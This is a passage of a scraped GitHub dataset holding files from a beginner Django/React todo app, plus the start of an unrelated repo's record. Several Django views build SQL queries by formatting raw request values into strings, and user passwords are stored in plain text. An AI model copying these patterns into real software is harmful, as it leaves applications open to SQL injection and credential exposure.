with connection.cursor() as cursor:\n cursor.execute(\"INSERT INTO todo_bucket (bucket_name) VALUES ('{}')\".format(bucket_name))\n return HttpResponse(\"Success\",200)\n\n@api_view((['PUT']))\ndef update_todo(request,todo_id):\n params=json.loads(request.body)\n print(params)\n title = params['title']\n description =params['description']\n completed =params['completed']\n bucket_id =int(params['bucket_id'])\n with connection.cursor() as cursor:\n cursor.execute(\"UPDATE todo_todo SET title= '{}',description= '{}',completed= {},bucket_id = {} WHERE id = {}\".format(title,description,completed,bucket_id,todo_id))\n return HttpResponse(\"Success\",200)\n\n\n@api_view(['DELETE'])\ndef delete_todo(request,todo_id):\n with connection.cursor() as cursor:\n cursor.execute(\"DELETE FROM todo_todo WHERE id = {}\".format(todo_id))\n return HttpResponse(\"Success\",200)\n\n@api_view(['POST'])\ndef save_userInfo(request):\n params = json.loads(request.body)\n print(params)\n email = params['email']\n password = params['password']\n browser = params['browser']\n with connection.cursor() as cursor:\n cursor.execute(\"INSERT INTO todo_user (email,password,browser) VALUES ('{}','{}','{}')\".format(email,password,browser))\n return HttpResponse(\"Success\",200)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.7067669034004211,
"alphanum_fraction": 0.7236841917037964,
"avg_line_length": 25.600000381469727,
"blob_id": "bcb4e5cec9d57ef6454bac26a41a72b8cb73c863",
"content_id": "99140ce2585d65928e5aaa961640acae86545d40",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 532,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 20,
"path": "/mysite/todo/models.py",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "\n# todo/models.py\n \nfrom django.db import models\n# Create your models here.\n\nclass Bucket(models.Model):\n bucket_name = models.CharField(max_length=100)\n\n\n# add this\nclass Todo(models.Model):\n title = models.CharField(max_length=120)\n description = models.TextField()\n completed = models.BooleanField(default=False)\n bucket = models.ForeignKey(Bucket,on_delete=models.CASCADE)\n \nclass User(models.Model):\n email = models.CharField(max_length=120)\n password = models.TextField()\n browser = models.TextField()"
},
{
"alpha_fraction": 0.6281588673591614,
"alphanum_fraction": 0.6305655837059021,
"avg_line_length": 39.599998474121094,
"blob_id": "09ad2b00fe5c0ddc37dfdec07df47ecb2147f6f8",
"content_id": "23e5ed3f4558477584022ac54681aad1cdeeb036",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 831,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 20,
"path": "/mysite/todo/urls.py",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n # path('<int:question_id>/', views.detail, name='detail'),\n # # ex: /polls/5/results/\n # path('<int:question_id>/results/', views.results, name='results'),\n # ex: /polls/5/vote/\n # path('<int:question_id>/vote/', views.vote, name='vote'),\n path('todos', views.get_todos, name='getTodos'),\n path('buckets', views.get_buckets, name='buckets'),\n path('addTodo', views.add_todo, name='addTodos'),\n path('addBucket', views.add_bucket, name='addBucket'),\n path('updateTodo/<int:todo_id>/', views.update_todo, name='updateBucket'),\n path('deleteTodo/<int:todo_id>',views.delete_todo, name = 'deleteTodo'),\n path('saveUserInfo',views.save_userInfo, name = 'SaveUserInfo')\n\n]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.5322455167770386,
"alphanum_fraction": 0.5322455167770386,
"avg_line_length": 20.81355857849121,
"blob_id": "d01822c9e1f5e848de67e36fb6ca57d848628101",
"content_id": "0656195cc6c611c9607de8fa408246d296a7c67b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 1287,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 59,
"path": "/UI/src/components/BucketModal.js",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "// frontend/src/components/Modal.js\n\nimport React, { Component } from \"react\";\nimport {\n Button,\n Modal,\n ModalHeader,\n ModalBody,\n ModalFooter,\n Form,\n FormGroup,\n Input,\n Label\n} from \"reactstrap\";\n\nexport default class BucketModal extends Component {\n constructor(props) {\n super(props);\n this.state = {\n bucket_name:'',\n bucketList:[]\n };\n }\n\n componentDidMount() {\n }\n\n handleChange = e => {\n let { name, value } = e.target;\n this.setState({ bucket_name:value });\n };\n render() {\n const { bucketToggle, onSave } = this.props;\n return (\n <Modal isOpen={true} toggle={bucketToggle}>\n <ModalHeader toggle={bucketToggle}>Add Bucket </ModalHeader>\n <ModalBody>\n <Form>\n <FormGroup>\n <Label for=\"bucket_name\">Bucket name</Label>\n <Input\n type=\"text\"\n name=\"bucket_name\"\n onChange={this.handleChange}\n placeholder=\"Enter Bucket Name\"\n />\n </FormGroup>\n \n </Form>\n </ModalBody>\n <ModalFooter>\n <Button color=\"success\" onClick={() => onSave(this.state.bucket_name)}>\n Save\n </Button>\n </ModalFooter>\n </Modal>\n );\n }\n}\n"
},
{
"alpha_fraction": 0.6993957757949829,
"alphanum_fraction": 0.6993957757949829,
"avg_line_length": 40.25,
"blob_id": "7d7641da4ac917e80d5d3751dd78ac350dcf8dbb",
"content_id": "24e4e71cd7acf0b7b1e7c668649b50fcbfeddddb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 662,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 16,
"path": "/UI/src/index.js",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "\n // frontend/src/index.js\n \n import React from 'react';\n import ReactDOM from 'react-dom';\n import 'bootstrap/dist/css/bootstrap.min.css'; // add this\n import './index.css';\n import App from './App';\n import {Provider} from 'react-redux';\n import configureStore from './Store/configureStore'\n import * as serviceWorker from './serviceWorker';\n import {BrowserRouter as Router} from 'react-router-dom';\n \n const store=configureStore();\n // ReactDOM.render(<App />, document.getElementById('root'));\n ReactDOM.render(<Provider store={store}><Router><App /></Router></Provider>, document.getElementById('root'));\n serviceWorker.unregister();"
},
{
"alpha_fraction": 0.7221527099609375,
"alphanum_fraction": 0.7221527099609375,
"avg_line_length": 29.076923370361328,
"blob_id": "6240c31c43451645485ec856f78d1dc5d91fe04f",
"content_id": "14ac8242845971f9c9e0c834915b4f76f811e53c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 799,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 26,
"path": "/mysite/polls/views.py",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render\nfrom .models import Question\n\n# Create your views here.\nfrom django.http import HttpResponse\n\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n\n\ndef detail(request, question_id):\n return HttpResponse(\"You're looking at question %s.\" % question_id)\n\ndef results(request, question_id):\n response = \"You're looking at the results of question %s.\"\n return HttpResponse(response % question_id)\n\ndef vote(request, question_id):\n return HttpResponse(\"You're voting on question %s.\" % question_id)\n\n\n\n#This is the simplest view possible in Django. To call the view, we need to map it to a URL - and for this we need a URLconf.\n\n#To create a URLconf in the polls directory, create a file called urls.py\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.4603058993816376,
"alphanum_fraction": 0.47159504890441895,
"avg_line_length": 22.22881317138672,
"blob_id": "d7868c451da2b3e567111b0de75bada683825cb6",
"content_id": "c6f88d94e7096db2a5d167da61acac7c3becd8fd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2746,
"license_type": "no_license",
"max_line_length": 126,
"num_lines": 118,
"path": "/UI/src/Actions/index.js",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "import axios from 'axios';\n\n\nexport function todos(todos) {\n return {\n type: 'TODOS_LOADED',\n todos\n };\n}\n\nexport function buckets(buckets) {\n return {\n type: 'BUCKETS_LOADED',\n buckets\n };\n}\n\nexport function getTodos() {\n return (dispatch) => {\n axios.get(\"http://localhost:8000/todo/todos\")\n .then(res => {\n console.log(res.data)\n dispatch(todos(res.data));\n }).catch((err) => {\n console.error(err)\n });\n\n };\n \n}\n\nexport function getBuckets() {\n return (dispatch) => {\n axios.get(\"http://localhost:8000/todo/buckets\")\n .then(res => {\n console.log(res.data)\n dispatch(buckets(res.data));\n }).catch((err) => {\n console.error(err)\n });\n\n };\n\n \n}\n\nexport function addBucket(params) {\n return (dispatch) => {\n axios.post(\"http://localhost:8000/todo/addBucket\",params,{ headers: { \"Content-Type\":\"application/json\" }})\n .then(res => {\n console.log(res)\n dispatch(getBuckets());\n }).catch((err) => {\n console.error(err)\n });\n\n };\n\n \n}\n\nexport function addTodo(params) {\n return (dispatch) => {\n axios.post(\"http://localhost:8000/todo/addTodo\",params,{ headers: { \"Content-Type\":\"application/json\" }})\n .then(res => {\n console.log(res)\n dispatch(getTodos());\n }).catch((err) => {\n console.error(err)\n });\n\n };\n\n \n}\n\nexport function updateTodo(todoId,params) {\n return (dispatch) => {\n axios.put(`http://localhost:8000/todo/updateTodo/${todoId}/`,params,{ headers: { \"Content-Type\":\"application/json\" }})\n .then(res => {\n console.log(res)\n dispatch(getTodos());\n }).catch((err) => {\n console.error(err)\n });\n\n };\n\n \n}\nexport function deleteTodo(todoId) {\n return (dispatch) => {\n axios.delete(`http://localhost:8000/todo/deleteTodo/${todoId}`)\n .then(res => {\n console.log(res)\n dispatch(getTodos());\n }).catch((err) => {\n console.error(err)\n });\n\n };\n\n \n}\n\nexport function saveUserInfo(params,history) {\n return (dispatch) => {\n axios.post(\"http://localhost:8000/todo/saveUserInfo\",params,{ headers: { \"Content-Type\":\"application/json\" }})\n .then(res => {\n if (res.status === 200) {\n history.push(`/Home`)\n }\n })\n history.push(`/Home`)\n };\n\n \n}\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.7131367325782776,
"alphanum_fraction": 0.7131367325782776,
"avg_line_length": 25.64285659790039,
"blob_id": "470962e986307ba9c894e1b6933be4e02a505d4f",
"content_id": "ecfebf0b6182c061376fab41a3dc5f2daff1a306",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 373,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 14,
"path": "/mysite/todo/serializers.py",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "\n# todo/serializers.py\n\nfrom rest_framework import serializers\nfrom .models import Todo,Bucket\n \nclass TodoSerializer(serializers.ModelSerializer):\n class Meta:\n model = Todo\n fields = ['id', 'title', 'description', 'completed','bucket_id']\n\nclass BucketSerializer(serializers.ModelSerializer):\n class Meta:\n model = Bucket\n fields = ['id','bucket_name']"
},
{
"alpha_fraction": 0.568722128868103,
"alphanum_fraction": 0.5739227533340454,
"avg_line_length": 24.168224334716797,
"blob_id": "e8f0e1b5cf168ac2f2f0bc2839a304f9296ecd5a",
"content_id": "136d23572490b199bfb3e5a0748a8237fc99f4f4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2692,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 107,
"path": "/UI/src/components/Login.js",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "import React, { Component} from \"react\";\nimport { Button, FormGroup, FormControl, FormLabel } from \"react-bootstrap\";\nimport \"../App.css\";\nimport { connect } from 'react-redux';\nimport {saveUserInfo} from './../Actions';\nimport axios from 'axios';\n\n\n\nclass Login extends Component {\n\n constructor(props) {\n super(props);\n this.state = {\n email: '',\n password:'',\n browser:''\n };\n }\n handleSubmit=event=> {\n\n let browser = this.getBrowser()\n let params={\n email: this.state.email,\n password:this.state.password,\n browser:browser\n }\n // axios\n // .post(\"http://localhost:8000/todo/saveUserInfo\", params ,{ headers: { \"Content-Type\":\"application/json\" } })\n // .then(res => this.props.history.push('/Home'));\n\n this.props.saveUserInfo(params,this.props.history)\n }\n\n getBrowser() { \n if((navigator.userAgent.indexOf(\"Opera\") || navigator.userAgent.indexOf('OPR')) != -1 ) \n {\n return('Opera');\n }\n else if(navigator.userAgent.indexOf(\"Chrome\") != -1 )\n {\n return('Chrome');\n }\n else if(navigator.userAgent.indexOf(\"Safari\") != -1)\n {\n return('Safari');\n }\n else if(navigator.userAgent.indexOf(\"Firefox\") != -1 ) \n {\n return('Firefox');\n }\n else if((navigator.userAgent.indexOf(\"MSIE\") != -1 ) || (!!document.documentMode == true )) //IF IE > 10\n {\n return('IE'); \n } \n else \n {\n return('unknown');\n }\n }\n \nrender(){\n return (\n <div className=\"Login\" style={{ marginTop: \"100px\" }}>\n <form onSubmit={this.handleSubmit}>\n <FormGroup controlId=\"email\">\n <FormLabel style={{color:'black'}}>Email</FormLabel>\n <FormControl\n autoFocus\n type=\"email\"\n value={this.state.email}\n onChange={e => this.setState({email:e.target.value})} required\n />\n </FormGroup>\n <FormGroup controlId=\"password\" >\n <FormLabel style={{color:'black'}}>Password</FormLabel>\n <FormControl\n value={this.state.password}\n onChange={e => this.setState({password:e.target.value})}\n type=\"password\"\n required\n />\n </FormGroup>\n <Button block type=\"submit\">\n Login\n </Button>\n </form>\n </div>\n );\n}\n}\n\nconst mapStateToProps = (state) => {\n return {\n \n }\n};\n\n//dispatching actions through local props of type function\nconst mapDispatchToProps = (dispatch) => {\n return {\n saveUserInfo:(params,history) => dispatch(saveUserInfo(params,history))\n }\n};\n\n// exporting Home component as HOC\nexport default connect(mapStateToProps, mapDispatchToProps)(Login);"
},
{
"alpha_fraction": 0.5426867604255676,
"alphanum_fraction": 0.5430006384849548,
"avg_line_length": 26.230770111083984,
"blob_id": "13f9fe9f22f7649ffb37e7ca4a4dab21008843c0",
"content_id": "b85a165c98b99eaa8ec69f9dea55d6f552bdb9b9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 3186,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 117,
"path": "/UI/src/components/Modal.js",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "// frontend/src/components/Modal.js\n\nimport React, { Component } from \"react\";\nimport { getTodos,getBuckets } from '../Actions';\nimport { connect } from 'react-redux';\nimport axios from \"axios\";\nimport {\n Button,\n Modal,\n ModalHeader,\n ModalBody,\n ModalFooter,\n Form,\n FormGroup,\n Input,\n Label\n} from \"reactstrap\";\n\nclass CustomModal extends Component {\n constructor(props) {\n super(props);\n this.state = {\n activeItem: this.props.activeItem,\n bucketList:[]\n };\n }\n\n componentDidMount() {\n this.fetchBuckets();\n }\n fetchBuckets = () => {\n this.props.getBuckets()\n };\n\n\n handleChange = e => {\n let { name, value } = e.target;\n if (e.target.type === \"checkbox\") {\n value = e.target.checked;\n }\n const activeItem = { ...this.state.activeItem, [name]: value };\n this.setState({ activeItem });\n };\n\n render() {\n const { toggle, onSave } = this.props;\n return (\n <Modal isOpen={true} toggle={toggle}>\n <ModalHeader toggle={toggle}> Todo Item </ModalHeader>\n <ModalBody>\n <Form>\n <FormGroup>\n <Label for=\"title\">Title</Label>\n <Input\n type=\"text\"\n name=\"title\"\n value={this.state.activeItem.title}\n onChange={this.handleChange}\n placeholder=\"Enter Todo Title\"\n />\n </FormGroup>\n <FormGroup>\n <Label for=\"description\">Description</Label>\n <Input\n type=\"text\"\n name=\"description\"\n value={this.state.activeItem.description}\n onChange={this.handleChange}\n placeholder=\"Enter Todo description\"\n />\n </FormGroup>\n <FormGroup>\n <Label for=\"bucket_id\">Buckets</Label>\n <select name=\"bucket_id\" value={this.state.activeItem.bucket_id} onChange={e=>this.handleChange(e)}>\n <option value='' disabled selected>Please Select</option>\n {this.props.buckets.length > 0 ? (this.props.buckets.map(item =>\n <option key={item.id} value={item.id}>{item.bucket_name}</option>\n )):null}; \n </select>\n </FormGroup>\n <FormGroup check>\n <Label for=\"completed\">\n <Input\n type=\"checkbox\"\n name=\"completed\"\n checked={this.state.activeItem.completed}\n onChange={this.handleChange}\n />\n Completed\n </Label>\n </FormGroup>\n </Form>\n </ModalBody>\n <ModalFooter>\n <Button color=\"success\" onClick={() => onSave(this.state.activeItem)}>\n Save\n </Button>\n </ModalFooter>\n </Modal>\n );\n }\n}\nconst mapStateToProps = (state) => {\n return {\n buckets:state.buckets\n }\n};\n\n//dispatching actions through local props of type function\nconst mapDispatchToProps = (dispatch) => {\n return {\n getBuckets:() => dispatch(getBuckets())\n }\n};\n\n// exporting Home component as HOC\nexport default connect(mapStateToProps, mapDispatchToProps)(CustomModal);\n"
}
] | 11 |
programworld999/uiapp | https://github.com/programworld999/uiapp | 5cd45afceb1cb6c72861406820861cd8ff47d85c | 4b58d530cb605ac3593dc17ee5fb914dbedbedd6 | 8806633cc40707268285e04468cfbe7ca6fd1538 | refs/heads/master | 2020-11-30T19:17:37.174000 | 2019-12-27T16:56:45 | 2019-12-27T16:56:45 | 230,460,616 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7399103045463562,
"alphanum_fraction": 0.7399103045463562,
"avg_line_length": 23.88888931274414,
"blob_id": "d2c81d84d96ca080924a4aef4bd0fdc8859bee44",
"content_id": "4f5124691179a7a9ce1ba8e52be09784f08c2f0a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 223,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 9,
"path": "/uiappfrontend/views.py",
"repo_name": "programworld999/uiapp",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render, HttpResponse\nfrom .models import blogs\n# Create your views here.\n\n\ndef index(requests):\n\tdata = blogs.objects.all()\n\t# print(data)\n\treturn render(requests, 'index.html', {'blogs': data})"
},
{
"alpha_fraction": 0.7448071241378784,
"alphanum_fraction": 0.7448071241378784,
"avg_line_length": 21.53333282470703,
"blob_id": "171a25501e1ee2a542f592c1dd817169c73ccc27",
"content_id": "b716377e9b6054a1d59bb591b7dc37441bf8d5fd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 337,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 15,
"path": "/deploy.sh",
"repo_name": "programworld999/uiapp",
"src_encoding": "UTF-8",
"text": "git status\necho \"Uploading To GitHub\"\ngit add .\necho -n \"Write Commit For Push:\"\nread commitForGit\ngit commit -m $commitForGit\necho \"### - Your Code Uploaded To GitHub Successfully - ####\"\n\necho \"Uploading To Heroku\"\ngit push\ngit add .\necho -n \"Write Commit For Push:\"\nread commitForGit\ngit commit -m $commitForGit\ngit push heroku master"
},
{
"alpha_fraction": 0.7080745100975037,
"alphanum_fraction": 0.7142857313156128,
"avg_line_length": 31.200000762939453,
"blob_id": "b9ae1117a9a336c444e5cf8cfe48dd347fcfe7fd",
"content_id": "a86aa076ac9732516a2dc241534017566082dd4d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 161,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 5,
"path": "/myenv/bin/django-admin.py",
"repo_name": "programworld999/uiapp",
"src_encoding": "UTF-8",
"text": "#!/home/sk/Desktop/Python/Host/uiapp/myenv/bin/python3\nfrom django.core import management\n\nif __name__ == \"__main__\":\n management.execute_from_command_line()\n"
},
{
"alpha_fraction": 0.5244565010070801,
"alphanum_fraction": 0.5760869383811951,
"avg_line_length": 19.44444465637207,
"blob_id": "7b98e43bdf60b2d32b956865f33cb849d974fc62",
"content_id": "e625d10023c61a2fc9cd8be889f6ab748498820e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 368,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 18,
"path": "/uiappfrontend/migrations/0002_auto_20191227_1402.py",
"repo_name": "programworld999/uiapp",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.7 on 2019-12-27 14:02\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('uiappfrontend', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='blogs',\n name='content',\n field=models.TextField(),\n ),\n ]\n"
}
] | 4 |
Berte-Yu/Alien_invasion | https://github.com/Berte-Yu/Alien_invasion | a035e804e0e788731d961537cbda11a55c38020c | 1475b0a5c5a78cb6829659662dba57fb76be1542 | 8f426b30cce42f8c166f15a2dbe34ee9e55731b5 | refs/heads/master | 2020-07-03T09:14:55.878026 | 2019-08-09T09:59:37 | 2019-08-09T09:59:37 | 201,863,570 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5813308954238892,
"alphanum_fraction": 0.5831792950630188,
"avg_line_length": 22.54347801208496,
"blob_id": "1cac50922188b6f86e74371e01d2ff4c9b865a56",
"content_id": "ee961f20d21a1cc12cf5e1fc280dab149e332512",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1204,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 46,
"path": "/外星人入侵/game_functions.py",
"repo_name": "Berte-Yu/Alien_invasion",
"src_encoding": "UTF-8",
"text": "import sys\nimport pygame\n\ndef check_keydown_events(event, ship):\n '''响应按键'''\n if event.key == pygame.K_RIGHT:\n ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n ship.moving_left = True\n elif event.key == pygame.K_q:\n pygame.quit()\n sys.exit(0)\n\ndef check_keyup_events(event, ship):\n '''响应按键松开'''\n if event.key == pygame.K_RIGHT:\n ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n ship.moving_left = False\n\ndef check_events(ship):\n # 响应鼠标和按键事件\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n # 触发退出事件\n pygame.quit()\n sys.exit(0)\n elif event.type == pygame.KEYDOWN:\n check_keydown_events(event, ship)\n\n elif event.type == pygame.KEYUP:\n check_keyup_events(event, ship)\n\ndef update_screen(ai_settings, screen, ship, alien):\n # 更新屏幕上的图像,并切换到新屏幕\n # 设置背景色\n screen.fill(ai_settings.bg_color)\n \n # 重绘飞船\n ship.blitme()\n\n #重绘外星人\n alien.blitme()\n\n # 刷新整体背景\n pygame.display.flip()"
}
] | 1 |
HQhalo/AI_PL_resolution | https://github.com/HQhalo/AI_PL_resolution | cbc54ffa23423f23e2e21f79eb1e6e6be97b8caf | a738ee7b893e9a62cad5a79b20eaef73ba03855c | beb3c7e306da3b258ad43426c0dfd232c30db3da | refs/heads/master | 2020-09-23T12:56:49.492917 | 2019-12-03T03:24:23 | 2019-12-03T03:24:23 | 225,505,711 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4821428656578064,
"alphanum_fraction": 0.4935064911842346,
"avg_line_length": 22.538461685180664,
"blob_id": "dd181c56ddaec7602947312e602c9cdaf4e4e063",
"content_id": "cb17b9785055218a9c75214f604da500be3bc06b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 616,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 26,
"path": "/main.py",
"repo_name": "HQhalo/AI_PL_resolution",
"src_encoding": "UTF-8",
"text": "from knowledge import *\n\ndef input(path):\n f = open(path,\"r\")\n lines = f.readlines() \n alpha = lines[0][:-1]\n N = int(lines[1])\n PLs = lines[2:2+N]\n for i in range(len(PLs)-1):\n PLs[i] = PLs[i][:-1]\n return alpha,knowledge(PLs)\n \ndef output(path,flag, PLs):\n f = open(path,\"w\")\n if PLs != None:\n for i in PLs:\n f.write(str(len(i))+\"\\n\")\n for j in i:\n f.write(j+\"\\n\")\n f.write(flag)\n\n \nif __name__ == \"__main__\":\n alpha,KB = input(\"input.txt\")\n flag , PLs = KB.PL_resolution(alpha)\n output(\"output.txt\",flag , PLs)\n "
},
{
"alpha_fraction": 0.4177972972393036,
"alphanum_fraction": 0.42717477679252625,
"avg_line_length": 29.74233055114746,
"blob_id": "cfa7b700debb05b6fec166edd0c2df707390c208",
"content_id": "8ec1ad4c3c349c20efec1cbe3b3132a15a9d00ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5012,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 163,
"path": "/knowledge.py",
"repo_name": "HQhalo/AI_PL_resolution",
"src_encoding": "UTF-8",
"text": "\nclass knowledge:\n \n def __init__(self,PLs):\n listPls = []\n # split each line, add the line into list \n for PL in PLs:\n listPls.append(self.splitLine(PL))\n # count words\n self.charCount = self.countWords(listPls)\n self.charCount.sort()\n # create dictionary of word to store index in matrix\n self.words = {}\n self.NoWords = 0\n for i in self.charCount:\n self.words[i] = self.NoWords\n self.NoWords +=1\n\n self.matrix = []\n for i in listPls:\n self.matrix.append(self.sentenceToMatrix(i))\n\n def splitLine(self,line):\n tokens = line.split()\n temp = []\n for i in tokens:\n if i != \"OR\":\n temp.append(i)\n return temp\n \n def countWords(self, listPls):\n charCount = []\n for line in listPls:\n for word in line:\n temp = word\n if word[0] == \"-\":\n temp = temp[1:]\n if not temp in charCount:\n charCount.append(temp)\n return charCount\n \n def sentenceToMatrix(self,PL):\n rowMatrix = [0 for x in range(self.NoWords)]\n for word in PL:\n temp = word\n value = 1\n if temp[0] == \"-\":\n temp = temp[1:]\n value = -1\n if temp in self.words:\n rowMatrix[self.words[temp]] = value\n return rowMatrix\n def toSentence(self,M):\n if len(M) != self.NoWords:\n print(\"err\")\n return None\n else:\n sen =\"\"\n for i in range(self.NoWords):\n if M[i] == 1:\n if sen != \"\":\n sen+=\" OR \"\n sen += self.charCount[i]\n if M[i] == -1:\n if sen != \"\":\n sen+=\" OR \"\n sen += \"-\"\n sen += self.charCount[i]\n if sen == \"\":\n sen +=\"{}\"\n return sen \n def resolutionHelper(self,PL1,PL2,index):\n re = [0 for x in range(self.NoWords)]\n if abs(PL1[index] - PL2[index]) != 2 :\n return False,None\n else:\n for i in range(self.NoWords):\n if i != index:\n add = PL1[i] + PL2[i]\n if add == 0:\n if PL1[i] != 0:\n return False, None\n elif add == 2 :\n re[i] = 1\n elif add == -2:\n re[i] = -1\n else:\n re[i] = add\n return True, re \n\n def resolution(self,PL1,PL2):\n rel = []\n flag = False\n for i in range(self.NoWords):\n f ,re = self.resolutionHelper(PL1,PL2,i)\n if f == True :\n flag = True\n rel.append(re)\n return rel \n\n def combine(self,PL1,PL2):\n added = []\n if len(PL2) == 0:\n return PL1,PL1\n else:\n rel = PL2.copy()\n for i in PL1:\n if not i in PL2 :\n rel.append(i)\n added.append(i)\n return rel,added\n\n def negative(self,alpha):\n rel = []\n for i in range(len(alpha)):\n if alpha[i] != 0:\n temp = [0 for x in range(self.NoWords)]\n temp[i] = - alpha[i]\n rel.append(temp)\n return rel\n def PL_resolution(self,alpha):\n flag , rel = self.PL_resolutionHelper(alpha)\n PLs = []\n if rel != None:\n for i in rel:\n pl = []\n for j in i:\n pl .append(self.toSentence(j))\n PLs.append(pl)\n return flag,PLs\n def PL_resolutionHelper(self,alpha):\n alphaToken = self.splitLine(alpha)\n rowAlpha = self.sentenceToMatrix(alphaToken)\n rowAlphaNegative = self.negative(rowAlpha)\n\n empty = [0 for x in range(self.NoWords)]\n\n alphaMatrix = self.matrix.copy()\n alphaMatrix += rowAlphaNegative\n\n m = len(alphaMatrix)\n newPLs = []\n relPls = []\n while True: \n rel = []\n for i in range(m):\n for j in range(m):\n temp = self.resolution(alphaMatrix[i],alphaMatrix[j])\n for k in temp:\n if not k in rel:\n rel.append(k)\n if len(rel) != 0:\n newPLs,plM = self.combine(rel,newPLs)\n alphaMatrix,added= self.combine(newPLs,alphaMatrix)\n relPls.append(added)\n else:\n relPls.append([])\n return \"NO1\",relPls\n if empty in newPLs:\n return \"YES\",relPls\n if len(added) == 0:\n return \"NO2\",relPls\n m = len(alphaMatrix)\n return 0\n"
}
] | 2 |
jannenev/ulmfit-language-model | https://github.com/jannenev/ulmfit-language-model | 7a3cfe7b0f18578a10cc1191ffb08dbc15cfe37c | e401bb69fbbc44cc1af623c5a3807137fce218be | eecb8ef498215140f23d3e16a8ab96226cf8f52f | refs/heads/master | 2020-04-11T12:31:48.992674 | 2018-12-14T13:15:30 | 2018-12-14T13:15:30 | 161,783,848 | 27 | 14 | null | null | null | null | null | [
{
"alpha_fraction": 0.5739260911941528,
"alphanum_fraction": 0.5839160680770874,
"avg_line_length": 34.122806549072266,
"blob_id": "97b0a0405dd2d63843ea8f6c7479054843aeb92f",
"content_id": "725c408cd088592460942a943059d74d3e8506fc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2002,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 57,
"path": "/data_helpers.py",
"repo_name": "jannenev/ulmfit-language-model",
"src_encoding": "UTF-8",
